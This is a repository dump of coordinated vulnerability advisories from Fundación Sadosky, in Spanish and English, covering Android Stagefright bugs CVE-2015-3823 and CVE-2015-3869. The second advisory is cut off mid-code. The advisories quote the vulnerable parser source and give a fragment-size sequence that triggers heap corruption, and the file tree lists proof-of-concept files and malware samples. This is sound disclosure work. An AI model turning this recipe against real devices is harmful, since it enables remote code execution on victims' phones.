├── Android └── Stagefright │ ├── CVE-2015-3823 │ ├── LEAME.md │ ├── POC.mkv │ └── README.md │ ├── CVE-2015-3869 │ ├── LEAME.md │ ├── POC_dataLen_overflow.ogg │ ├── POC_typeLen_overflow.ogg │ └── README.md │ ├── CVE-2015-3870 │ ├── LEAME.md │ ├── POC.mp4 │ └── README.md │ ├── CVE-2015-3873 │ ├── LEAME.md │ └── README.md │ ├── CVE-2015-6604 │ ├── LEAME.md │ ├── POC.mp3 │ └── README.md │ └── CVE-2015-6631 │ ├── LEAME.md │ ├── MP3InfoLeak │ ├── .classpath │ ├── .project │ ├── .settings │ │ └── org.eclipse.ltk.core.refactoring.prefs │ ├── AndroidManifest.xml │ ├── assets │ │ └── new_bug.mp3 │ ├── ic_launcher-web.png │ ├── lint.xml │ ├── proguard-project.txt │ ├── project.properties │ ├── res │ │ ├── drawable-hdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-mdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-xhdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-xxhdpi │ │ │ └── ic_launcher.png │ │ ├── layout │ │ │ └── activity_main.xml │ │ ├── menu │ │ │ └── main.xml │ │ ├── values-v11 │ │ │ └── styles.xml │ │ ├── values-v14 │ │ │ └── styles.xml │ │ ├── values-w820dp │ │ │ └── dimens.xml │ │ └── values │ │ │ ├── dimens.xml │ │ │ ├── strings.xml │ │ │ └── styles.xml │ └── src │ │ └── ar │ │ └── org │ │ └── sadosky │ │ └── mp3infoleak │ │ └── MainActivity.java │ └── README.md ├── BAComoLLego ├── POC │ ├── README.md │ ├── control │ │ ├── AndroRat.jar │ │ └── config.txt │ ├── escalation │ │ └── local_exploit │ ├── explotation │ │ ├── FakeComoLLegoServer.py │ │ └── javascript.js │ └── infectation │ │ └── Androrat │ │ └── Malware.apk └── README.md ├── BAWifi └── README.md ├── Edenor2.0 └── README.md ├── Facebook └── README.md ├── FacebookLite ├── FacebookVulnerability │ ├── .classpath │ ├── .project │ ├── .settings │ │ └── org.eclipse.jdt.core.prefs │ ├── AndroidManifest.xml │ ├── History.iml │ ├── ic_launcher-web.png │ ├── libs │ │ └── android-support-v4.jar │ ├── proguard-project.txt │ ├── project.properties │ ├── res │ │ ├── drawable-hdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-mdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-xhdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-xxhdpi │ │ │ └── ic_launcher.png │ │ ├── layout │ │ │ └── activity_main.xml │ │ ├── menu │ │ │ └── main.xml │ │ ├── values-sw600dp │ │ │ └── dimens.xml │ │ ├── values-sw720dp-land │ │ │ └── dimens.xml │ │ ├── values-v11 │ │ │ └── styles.xml │ │ ├── values-v14 │ │ │ └── styles.xml │ │ └── values │ │ │ ├── dimens.xml │ │ │ ├── strings.xml │ │ │ └── styles.xml │ └── src │ │ └── ar │ │ └── org │ │ └── sadosky │ │ └── facebookvulnerability │ │ └── MainActivity.java ├── LEAME.md └── README.md ├── MercadoLibre └── README.md ├── OLX └── README.md ├── ObjSys └── CVE-2016-5080 │ └── README.md ├── PicsArt ├── POC │ ├── exploit_facebook.py │ └── exploit_twitter.py └── README.md ├── Prey └── README.md ├── README-en.md ├── README.md ├── Samsung_SNS └── README.md ├── en └── STIC_vulndisc_procedure-en.md └── es └── STIC_vulndisc_procedure-es.md /Android/Stagefright/CVE-2015-3823/LEAME.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerabilidad en biblioteca de Android que procesa archivos de video Matroska (MKV) 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** Vulnerabilidad en biblioteca de Android que procesa archivos de video Matroska (MKV) 8 | 9 | **Reporte ID:** CVE-2015-3823 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Fecha de publicación:** 2015-12-01 14 | 15 | **Fecha de última actualización:** 2016-1-22 16 | 17 | **Fabricantes contactados:** Google 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** Integer Overflow to Buffer Overflow [[http://cwe.mitre.org/data/definitions/680.html](http://cwe.mitre.org/data/definitions/680.html)] 26 | 27 | **Impacto:** Ejecución de código 28 | 29 | **Remotamente explotable:** Yes 30 | 31 | **Localmente explotable:** No 32 | 33 | **Identificador CVE:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3823](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3823) 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | Stagefright es una biblioteca que corre en dispositivos Android que es utilizada como motor multimedia al procesar formatos como MP3, MP4, MKV, etc. 40 | 41 | Existe una vulnerabilidad en la biblioteca que se manifiesta al procesar archivos de video con formato MKV. El bug puede ser utilizado por un potencial atacante para ejecutar comandos de manera remota en un dispositivo vulnerable y obtener acceso a los datos alojados en él. 42 | 43 | Para explotar el problema, un potencial atacante requeriría que la victima abra un archivo MKV diseñado especialmente para el ataque. Esto podría lograrse ya sea enviando el archivo en un mensaje de texto, engañando a la víctima para que lo descargue de un sitio web controlado por el atacante o copiándolo desde alguna aplicación instalada en el dispositivo, por ejemplo alguna de mensajería instantánea. 44 | 45 | El problema fue catalogado como de severidad crítica por el fabricante (Google) y afecta aproximadamente al 93% de los dispositivos móviles Android de todo el mundo. 46 | 47 | 48 | ## 4. Paquetes vulnerables 49 | 50 | * Dispositivos corriendo Android Lollipop 5.1.1 sin las actualizaciones de seguridad de Octubre. 51 | 52 | ## 5. Información y soluciones del fabricante 53 | 54 | El fabricante solucionó el problema en el repositorio Android Open Source Project (AOSP) en Octubre del 2015 y notificó a sus asociados en Septiembre 10, 2015. El problema fue encontrado independientemente por Wish Wu de Trend Micro Inc pero su severidad fue originalmente menospreciada. 55 | 56 | 57 | ## 6. Créditos 58 | 59 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquín Manuel Rinaudo. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 60 | 61 | ## 7. Descripción técnica 62 | 63 | En libstagefright, MatroskaExtractor.cpp es utilizado para procesar archivos .MKV. El extractor llama a [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/matroska/MatroskaExtractor.cpp#read](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/matroska/MatroskaExtractor.cpp#read) para iterar sobre cada frame y pasa dos veces sobre la secuencia de fragmentos de NAL para reunirlos en un buffer más largo. 64 | 65 | Las porciones relevantes de cóðigo de Matroska:read() se muestran abajo: 66 | 67 | ``` 68 | 616 size_t dstSize = 0; 69 | 617 MediaBuffer *buffer = NULL; 70 | 618 uint8_t *dstPtr = NULL; 71 | 619 72 | 620 for (int32_t pass = 0; pass < 2; ++pass) { 73 | 621 size_t srcOffset = 0; 74 | 622 size_t dstOffset = 0; 75 | 623 while (srcOffset + mNALSizeLen <= srcSize) { 76 | 624 size_t NALsize; 77 | 625 switch (mNALSizeLen) { 78 | 626 case 1: NALsize = srcPtr[srcOffset]; break; 79 | 627 case 2: NALsize = U16_AT(srcPtr + srcOffset); break; 80 | 628 case 3: NALsize = U24_AT(srcPtr + srcOffset); break; 81 | 629 case 4: NALsize = U32_AT(srcPtr + srcOffset); break; 82 | 630 default: 83 | 631 TRESPASS(); 84 | 632 } 85 | 633 86 | 634 if (srcOffset + mNALSizeLen + NALsize > srcSize) { 87 | 635 break; 88 | 636 } 89 | 637 90 | 638 if (pass == 1) { 91 | 639 memcpy(&dstPtr[dstOffset], "\x00\x00\x00\x01", 4); 92 | 640 93 | 641 memcpy(&dstPtr[dstOffset + 4], 94 | 642 &srcPtr[srcOffset + mNALSizeLen], 95 | 643 NALsize); 96 | 644 } 97 | 645 98 | 646 dstOffset += 4; // 0x00 00 00 01 99 | 647 dstOffset += NALsize; 100 | 648 101 | 649 srcOffset += mNALSizeLen + NALsize; 102 | 650 } 103 | 651 104 | 652 if (srcOffset < srcSize) { 105 | 653 // There were trailing bytes or not enough data to complete 106 | 654 // a fragment. 107 | 655 108 | 656 frame->release(); 109 | 657 frame = NULL; 110 | 658 111 | 659 return ERROR_MALFORMED; 112 | 660 } 113 | 661 114 | 662 if (pass == 0) { 115 | 663 dstSize = dstOffset; 116 | 664 117 | 665 buffer = new MediaBuffer(dstSize); 118 | 666 119 | 667 int64_t timeUs; 120 | 668 CHECK(frame->meta_data()->findInt64(kKeyTime, &timeUs)); 121 | 669 int32_t isSync; 122 | 670 CHECK(frame->meta_data()->findInt32(kKeyIsSyncFrame, 123 | &isSync)); 124 | 671 125 | 672 buffer->meta_data()->setInt64(kKeyTime, timeUs); 126 | 673 buffer->meta_data()->setInt32(kKeyIsSyncFrame, isSync); 127 | 674 128 | 675 dstPtr = (uint8_t *)buffer->data(); 129 | 676 } 130 | 677 } 131 | 678 132 | 679 frame->release(); 133 | 134 | ``` 135 | 136 | En cada frame de tipo AVC, una secuencia de fragmentos NAL es reunida en un gran buffer en donde los fragmentos son delimitados por la secuencia de 4-bytes "\x00\x00\x00\x01". El loop for de la linea 620 pasa dos veces por el mismo frame, en cada pasada la secuencia entera de fragmentos NAL es procesada dentro del while en la linea 623. 137 | 138 | En la primera pasada el tamaño necesario del buffer es calculado sumando el tamaño de cada fragmento más 4 del delimitador y guardados en la variable 'dstOffset' (linea 647). Un buffer del tamaño calculado es reservado en la linea 665. En la segunda pasada, el contenido de cada fragmento NAL es copiado dentro del buffer en la linea 641. 139 | 140 | Las variables 'dstSize', 'dstOffset', 'srcOffset' y 'NALsize' son definidas como enteros sin signo de 32 bits (size_T) y por lo tanto cálculos aritméticos que los combinen podrían causar un overflow. Por otro lado, el memcpy() que es llamado en la linea 643 utilizará el tamaño especificado en el fragmento ('NALsize') como tercer argumento. 141 | 142 | Es posible construir la secuencia de fragmentos de NAL para forzar un número arbitrario de iteraciones en el while loop que hará que la variable 'dstOffset' se dé vuelta y reservar un buffer de menor tamaño que el necesitado en la primera pasada. Luego en la segunda pasada, los fragmentos NAL seguidos con un NALsize grande desencadenará una corrupción en la llamada memcpy(). Para realizar esto, una secuencia de tamaños de NAL en los fragmentos debe dar vuelta la variable y pasar los condicionales en la linea 623 y 652. 143 | 144 | Por ejemplo, asumiendo mNALSizeLen == 4 y un buffer de entrada (srcSize) de tamaño SZ, la siguiente secuencia de fragmentos creará una sobreescritura cuando se llama a memcpy en la segunda pasada. 145 | 146 | ``` 147 | |(SZ-8)|(SZ-8)| SZ-12 bytes| 0xFFFFFFFF - SZ + 9 | 148 | | | | | | 149 | 4 4 SZ-12 4 150 | 151 | 152 | ``` 153 | 154 | 155 | ## 8. Cronología del reporte 156 | 157 | * **2015-08-15:** 158 | Se abrió un issue en el Android issue Tracker. Se enviaron detalles técnicos de las vulnerabilidades al fabricante. 159 | 160 | * **2015-08-15:** notó que el issue parecería haber sido reportado y publicado previamente por Trendmicro pero que el análisis hecho en su blogspot subestimaba la explotabilidad del bug. 161 | 162 | * **2015-08-17:** 163 | Fabricante confirmó que el bug era un duplicado de la vulnerabilidad reportada por Trendmicro, interamente seguida como AndroidID-21335999. 164 | 165 | * **2015-08-17:** notó que Trendmicro estimaba el impacto como un simple "loop infinito" (DoS) cuando en realidad se trata de una vulnerabilidad que permite ejecución remota de código. 166 | 167 | * **2015-08-17:** 168 | Fabricante estuvo de acuerdo con la nueva evaluación de seguridad, cambia la prioridad del bug de Medio a Crítico. 169 | 170 | * **2015-08-18:** 171 | Fabricante proveyó proveyó un parche privado para una revisión. 172 | 173 | * **2015-08-21:** confirmó que el parche corregía el bug correctamente y proporcionó dos casos de test de CTS. 174 | 175 | * **2015-08-28:** preguntó por una fecha estimada de publicación para la solución y comentó que Trendmicro también había cambiado la evaluación del impacto. 176 | 177 | * **2015-08-30:** 178 | Fabricante notificó que en Octubre de 2015 lanzarían una actualización para los dispositivos Nexus, al mismo tiempo que llegaría a AOSP y que notificaría a sus asociados en Septiembre. Fabricante preguntó acerca como Trendmicro descubrió que el impacto de la vulnerabilidad había sido cambiado. 179 | 180 | * **2015-08-30:** notificó que había comentado en Twitter que la evaluación hecha por Trendmicro era erronea. Se le consultó al fabricante si los que reportaron el issue de Trendmicro no tenían acceso al issue reportado por de todos modos dado que se había asignado como duplicado al bug de ellos. Se notó que esperar un mes adicional para que se publique la solución parecía demasiado y se preguntó si no iba a haber actualizaciones de seguridad en Septiembre 2015 o si sólo la vulnerabilidad no iba a ser incluida en dichas actualizaciones. 181 | 182 | * **2015-08-30:** 183 | Fabricante fusiona el issue 183986 a este issue. Posiblemente un tercer reporte independientde la misma vulnerabilidad. 184 | 185 | * **2015-09-03:** 186 | Se le asigna al issue el CVE-2015-3823. 187 | 188 | * **2015-09-17:** 189 | Fabricante informa que el arreglo estaba disponible para sus asociados y que se incluiría en el reporte de seguridad de Nexus de Octubre 2015. 190 | 191 | * **2015-10-05:** 192 | Se publicó el problema en Nexus Security Bulletin de octubre 2015. 193 | 194 | * **2015-10-07:** 195 | El fabricante publicó un parche en el repositorio Android Open Source Project (AOSP). 196 | 197 | * **2016-1-22:** 198 | El reporte fue publicado. 199 | 200 | 201 | ## 9. Referencias 202 | 203 | 204 | 205 | ## 10. Acerca Fundación Dr. Manuel Sadosky 206 | 207 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 208 | 209 | ## 11. Derechos de autor 210 | 211 | El contenido de este reporte tiene copyright (c) 2014 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3823/POC.mkv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-3823/POC.mkv -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3823/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerability in Android library while parsing Mastroska (MKV) video files 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Vulnerability in Android library while parsing Mastroska (MKV) video files 8 | 9 | **Advisory ID:** CVE-2015-3823 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2016-1-22 14 | 15 | **Date of last update:** 2015-12-01 16 | 17 | **Vendors contacted:** Google 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Integer Overflow to Buffer Overflow [[http://cwe.mitre.org/data/definitions/680.html](http://cwe.mitre.org/data/definitions/680.html)] 26 | 27 | **Impact:** Code execution 28 | 29 | **Remotely Exploitable:** Yes 30 | 31 | **Locally Exploitable:** No 32 | 33 | **CVE Identifier:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3823](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3823) 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Stagefright is a media library running in Android devices used as a backend engine for playing various multimedia formats such as MP3, MKV, MP4, etc. 40 | 41 | A vulnerability exists in the library that is triggered when procesing a malformed MKV video file. The bug can be used by a potential attacker to perform arbitrary operations on the victim device. 42 | 43 | In order to exploit the problem an attacker would need a victim to open an specially crafted MKV video file. This could be done via sending an MMS message to the device, tricking the user into browsing a site controlled by the attacker or sending it via to app installed in the victim's device such as an instant messaging app. 44 | 45 | The problem was assigned as critical severity by the vendor (Google) and it affects around 93% of Android mobile devices around the world. 46 | 47 | 48 | ## 4. Vulnerable packages 49 | 50 | * Android Lollipop 5.1.1 without October security updates. 51 | 52 | ## 5. Vendor Information, Solutions and Workarounds 53 | 54 | Vendor fixed issue in the Android Open Source Project (AOSP) repository on October 2015 and notified it's partners on September 10, 2015. The problem was independently found by Wish Wu of Trend Micro Inc but its severity was originally underestimated. 55 | 56 | 57 | ## 6. Credits 58 | 59 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo. The publication of this advisory was coordinated by Programa Seguridad en TIC. 60 | 61 | ## 7. Technical Description 62 | 63 | In libstagefright, MatroskaExtractor.cpp is used to parse .MKV files. The extractor calls [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/matroska/MatroskaExtractor.cpp#read](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/matroska/MatroskaExtractor.cpp#read) to iterate over each frame and pass twice over a sequence of NAL fragments to collate them into a single large buffer. 64 | 65 | The relevant portions of the code from Matroska:read() are shown below: 66 | 67 | ``` 68 | 616 size_t dstSize = 0; 69 | 617 MediaBuffer *buffer = NULL; 70 | 618 uint8_t *dstPtr = NULL; 71 | 619 72 | 620 for (int32_t pass = 0; pass < 2; ++pass) { 73 | 621 size_t srcOffset = 0; 74 | 622 size_t dstOffset = 0; 75 | 623 while (srcOffset + mNALSizeLen <= srcSize) { 76 | 624 size_t NALsize; 77 | 625 switch (mNALSizeLen) { 78 | 626 case 1: NALsize = srcPtr[srcOffset]; break; 79 | 627 case 2: NALsize = U16_AT(srcPtr + srcOffset); break; 80 | 628 case 3: NALsize = U24_AT(srcPtr + srcOffset); break; 81 | 629 case 4: NALsize = U32_AT(srcPtr + srcOffset); break; 82 | 630 default: 83 | 631 TRESPASS(); 84 | 632 } 85 | 633 86 | 634 if (srcOffset + mNALSizeLen + NALsize > srcSize) { 87 | 635 break; 88 | 636 } 89 | 637 90 | 638 if (pass == 1) { 91 | 639 memcpy(&dstPtr[dstOffset], "\x00\x00\x00\x01", 4); 92 | 640 93 | 641 memcpy(&dstPtr[dstOffset + 4], 94 | 642 &srcPtr[srcOffset + mNALSizeLen], 95 | 643 NALsize); 96 | 644 } 97 | 645 98 | 646 dstOffset += 4; // 0x00 00 00 01 99 | 647 dstOffset += NALsize; 100 | 648 101 | 649 srcOffset += mNALSizeLen + NALsize; 102 | 650 } 103 | 651 104 | 652 if (srcOffset < srcSize) { 105 | 653 // There were trailing bytes or not enough data to complete 106 | 654 // a fragment. 107 | 655 108 | 656 frame->release(); 109 | 657 frame = NULL; 110 | 658 111 | 659 return ERROR_MALFORMED; 112 | 660 } 113 | 661 114 | 662 if (pass == 0) { 115 | 663 dstSize = dstOffset; 116 | 664 117 | 665 buffer = new MediaBuffer(dstSize); 118 | 666 119 | 667 int64_t timeUs; 120 | 668 CHECK(frame->meta_data()->findInt64(kKeyTime, &timeUs)); 121 | 669 int32_t isSync; 122 | 670 CHECK(frame->meta_data()->findInt32(kKeyIsSyncFrame, 123 | &isSync)); 124 | 671 125 | 672 buffer->meta_data()->setInt64(kKeyTime, timeUs); 126 | 673 buffer->meta_data()->setInt32(kKeyIsSyncFrame, isSync); 127 | 674 128 | 675 dstPtr = (uint8_t *)buffer->data(); 129 | 676 } 130 | 677 } 131 | 678 132 | 679 frame->release(); 133 | 134 | ``` 135 | 136 | In each frame of type AVC a sequence of NAL fragments is collated into a large buffer in which fragments are delimited by the "\x00\x00\x00\x01" 4-byte sequence. The for loop in line 620 passes twice per frame, on each pass the entire sequence of NAL fragments is processed within the while loop at line 623. 137 | 138 | On the first pass the size required for a buffer is calculated by summing the size of each fragment plus 4 for the delimiter and storing it in the 'dstOffset' variable (line 647). A buffer of the calculated size is then allocted at line 665. On the second pass the contents of each NAL fragment are copied into the buffer at line 641. 139 | 140 | The 'dstSize', 'dstOffset', 'srcOffset' and 'NALsize' variables are defined as unsigned 32-bit integers (size_t) and therefore arithmetic calculations that combine them will wrap around on overflow. On the other hand, the memcpy() call at 643 will use the length specified in the NAL fragment ('NALsize') as its third argument. 141 | 142 | It is possible to construct a sequence of NAL fragments will force an arbitrary number of iterations of the while loop that will make the 'dstOffset' variable wrap around and allocate a smaller-than-needed buffer on the first pass. Then on the second pass, a trailing NAL fragment with a large NALsize will trigger heap corrupion on the memcpy() call. To accomplish this, the sequence of NALsizes in the fragments must be made to wrap around and pass the conditionals in lines 623 and 652. 143 | 144 | For example, assuming a mNALSizeLen == 4 and an input buffer size (srcSize) of SZ, the following sequence of NAL fragments will overwrite the allocated buffer at the memcpy() call in the second pass. 145 | 146 | ``` 147 | |(SZ-8)|(SZ-8)| SZ-12 bytes| 0xFFFFFFFF - SZ + 9 | 148 | | | | | | 149 | 4 4 SZ-12 4 150 | 151 | 152 | ``` 153 | 154 | 155 | ## 8. Report Timeline 156 | 157 | * **2015-08-15:** 158 | Issue opened at Android issue tracker. Technical details of the vulnerabilities sent to the vendor. 159 | 160 | * **2015-08-15:** 161 | Programa STIC noted that the issue seemed previously reported and already disclosed by Trendmicro but that the analysis in their blogpost underestimated the exploitability of the bug 162 | 163 | * **2015-08-17:** 164 | Vendor confirmed the bug as a duplicate of the vulnerability reported by Trendmicro, internally tracked as AndroidID-21335999. 165 | 166 | * **2015-08-17:** 167 | Programa STIC noted that Trendmicro estimated the impact as merely an "infinite loop" (DoS) when it is in fact a remote code execution vulnerability. 168 | 169 | * **2015-08-17:** 170 | Vendor agreed with impact assessment, upgrades priority from Medium to Critical 171 | 172 | * **2015-08-18:** 173 | Vendor provided private patch for review. 174 | 175 | * **2015-08-21:** 176 | Programa STIC said the patch fixed the bug correctly and provided two CTS test cases. 177 | 178 | * **2015-08-28:** 179 | Programa STIC asked for the estimated release date of the fix and noted that Trendmicro had also changed their impact assessment in their blogpost. 180 | 181 | * **2015-08-30:** 182 | Vendor said that the fix will be rolling out as part of the Oct 2015 update for Nexus devices, at which time it will also land on AOSP and that it will also be notifying partners about the bug and fix in our September partner security bulletin. Vendor wondered about how Trendmicro found out about the revised impact rating and said they hadn't notified them of the new blogpost. 183 | 184 | * **2015-08-30:** 185 | Programa STIC said that it had commented on Twitter that Trendmicro's impact assessment was wrong. Asked if the Trendmicro reporters did not have access to the issue reported by Programa STIC anyway, since it was flagged as duplicate of theirs. Noted that waiting an additional month for the fix to come out seemed too much and asked if there was not going to be a Android security update in September 2015 or if there was but the fix for this vulnerability wont be included. 186 | 187 | * **2015-08-30:** 188 | Vendor merged Android issue 183986 into this issue. Possibly a 3rd indepedent report of the same vulnerability. 189 | 190 | * **2015-09-03:** 191 | CVE-2015-3823 assigned to the issue. 192 | 193 | * **2015-09-17:** 194 | Vendor said the fix is available to partners now, and should be available in the October Nexus update in early October. 195 | 196 | * **2015-10-05:** 197 | Nexus security bulletin - October 2015 published. 198 | 199 | * **2015-10-07:** 200 | Vendor released a patch in Android Open Source Project (AOSP) repository. 201 | 202 | * **2016-1-22:** 203 | Advisory was released. 204 | 205 | ## 9. References 206 | 207 | 208 | 209 | ## 10. About Fundación Dr. Manuel Sadosky 210 | 211 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 212 | 213 | ## 11. Copyright Notice 214 | 215 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3869/LEAME.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerabilidad en biblioteca de Android que procesa archivos de audio Ogg 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** Vulnerabilidad en biblioteca de Android que procesa archivos de audio Ogg 8 | 9 | **Reporte ID:** CVE-2015-3869 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Fecha de publicación:** 2015-12-01 14 | 15 | **Fecha de última actualización:** 2016-1-22 16 | 17 | **Fabricantes contactados:** Google 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** Heap-based Buffer Overflow [[http://cwe.mitre.org/data/definitions/122.html](http://cwe.mitre.org/data/definitions/122.html)] 26 | 27 | **Impacto:** Ejecución de código 28 | 29 | **Remotamente explotable:** Yes 30 | 31 | **Localmente explotable:** No 32 | 33 | **Identificador CVE:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3869](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3869) 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | Stagefright es una biblioteca que corre en dispositivos Android y es utilizada como motor multimedia al procesar formatos como MP3, MP4, MKV, etc. 40 | 41 | Existe una vulnerabilidad en la biblioteca que se manifiesta al procesar archivos de audio con formato Ogg que incluyan un encabezado de tipo Vorbis malformado. El bug puede ser utilizado por un potencial atacante para ejecutar comandos de manera remota en un dispositivo vulnerable y obtener acceso a los datos alojados en él. 42 | 43 | Para explotar el problema, un potencial atacante requeriría que la victima abra un archivo Ogg que incluya un encabezado tipo Vorbis diseñado especialmente para el ataque. Esto podría lograrse ya sea enviando el archivo en un mensaje de texto, engañando a la víctima para que lo descargue de un sitio web controlado por el atacante o copiándolo desde alguna aplicación instalada en el dispositivo, por ejemplo alguna de mensajería instantánea. 44 | 45 | El problema fue catalogado como de severidad crítica por el fabricante (Google) y afecta aproximadamente al 93% de los dispositivos móviles Android de todo el mundo. 46 | 47 | 48 | ## 4. Paquetes vulnerables 49 | 50 | * Dispositivos corriendo Android Lollipop 5.1.1 sin las actualizaciones de seguridad de Octubre. 51 | 52 | ## 5. Información y soluciones del fabricante 53 | 54 | El fabricante solucionó el problema en el repositorio Android Open Source Project (AOSP) en Octubre del 2015 y notificó a sus asociados en Septiembre 10, 2015. El problema fue encontrado independientemente por Chiachih Wu y Xuxian Jiang de C0re Team. 55 | 56 | 57 | ## 6. Créditos 58 | 59 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquín Manuel Rinaudo and Iván Arce. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 60 | 61 | ## 7. Descripción técnica 62 | 63 | En libstagefright, OggExtractor está encargado de extraer la metadata de los encabezados de tipo Vorbis utilizando el método [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#verifyHeader](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#verifyHeader). Este método procesa tres tipos de paquetes que pueden ser encontrados en el encabezado. 64 | 65 | Un paquete de tipo 3 contiene metadata y es primero desempacado como un bistream y procesado con [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData) como se puede ver en la linea 795: 66 | 67 | ``` 68 | 789 case 3: 69 | 790 { 70 | 791 if (0 != _vorbis_unpack_comment(&mVc, &bits)) { 71 | 792 return ERROR_MALFORMED; 72 | 793 } 73 | 794 74 | 795 parseFileMetaData(); 75 | 796 break; 76 | 797 } 77 | 798 78 | 79 | 80 | ``` 81 | 82 | De acuerdo a las especificaciones de Vorbis, la metadata es una serie de comentarios de la forma clave "=" valor donde clave es un elemento de un conjunto de cadenas de caracteres conocidas y el valor un string codificado en base64. 83 | 84 | La metadata es procesada por [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseVorbisComment](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseVorbisComment) como se muestra abajo: 85 | 86 | ``` 87 | void parseVorbisComment( 88 | 834 const sp &fileMeta, const char *comment, size_t commentLength) 89 | 835{ 90 | 836 struct { 91 | 837 const char *const mTag; 92 | 838 uint32_t mKey; 93 | 839 } kMap[] = { 94 | 840 { "TITLE", kKeyTitle }, 95 | 841 { "ARTIST", kKeyArtist }, 96 | 842 { "ALBUMARTIST", kKeyAlbumArtist }, 97 | 843 { "ALBUM ARTIST", kKeyAlbumArtist }, 98 | 844 { "COMPILATION", kKeyCompilation }, 99 | 845 { "ALBUM", kKeyAlbum }, 100 | 846 { "COMPOSER", kKeyComposer }, 101 | 847 { "GENRE", kKeyGenre }, 102 | 848 { "AUTHOR", kKeyAuthor }, 103 | 849 { "TRACKNUMBER", kKeyCDTrackNumber }, 104 | 850 { "DISCNUMBER", kKeyDiscNumber }, 105 | 851 { "DATE", kKeyDate }, 106 | 852 { "LYRICIST", kKeyWriter }, 107 | 853 { "METADATA_BLOCK_PICTURE", kKeyAlbumArt }, 108 | 854 { "ANDROID_LOOP", kKeyAutoLoop }, 109 | 855 }; 110 | 856 111 | 857 